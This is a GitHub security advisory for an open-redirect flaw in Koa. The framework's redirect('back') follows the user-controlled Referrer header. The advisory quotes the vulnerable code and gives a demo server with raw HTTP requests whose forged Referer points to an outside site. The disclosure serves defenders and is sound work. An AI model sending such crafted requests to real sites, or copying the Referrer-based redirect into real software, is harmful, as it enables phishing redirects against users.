GHSA-jgmv-j7ww-jx2x
Koa Open Redirect via Referrer Header (User-Controlled)
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.
## Details
on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:
**response.redirect(url, [alt])**
```
Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.
ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');
```
however, the "back" method is insecure:
- https://github.com/koajs/koa/blob/master/lib/response.js#L322
```
back (alt) {
const url = this.ctx.get('Referrer') || alt || '/'
this.redirect(url)
},
```
Referrer Header is User-Controlled.
## PoC
**there is a demo for POC:**
```
const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@koa/router')
const path = require('path')
const app = new Koa()
const router = new Router()
// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))
// Define routes
router.get('/test', ctx => {
ctx.redirect('back', '/index1.html')
})
router.get('/test2', ctx => {
ctx.redirect('back')
})
router.get('/', ctx => {
ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})
app.use(router.routes())
app.use(router.allowedMethods())
const port = 3000
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`)
})
```
**Proof Of Concept**
```
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
```


## Impact
https://learn.snyk.io/lesson/open-redirect/
References
External links from the advisory. They lead to third-party sites.
- https://github.com/koajs/koa/security/advisories/GHSA-jgmv-j7ww-jx2x
- https://nvd.nist.gov/vuln/detail/CVE-2025-54420
- https://github.com/koajs/koa/issues/1892
- https://github.com/koajs/koa/issues/1892#issue-3213028583
- https://github.com/koajs/koa/commit/422c551c63d00f24e2bbbdf492f262a5935bb1f0
- https://github.com/koajs/koa
- https://vuldb.com/?ctiid.317514
- https://vuldb.com/?id.317514
- https://vuldb.com/?submit.619741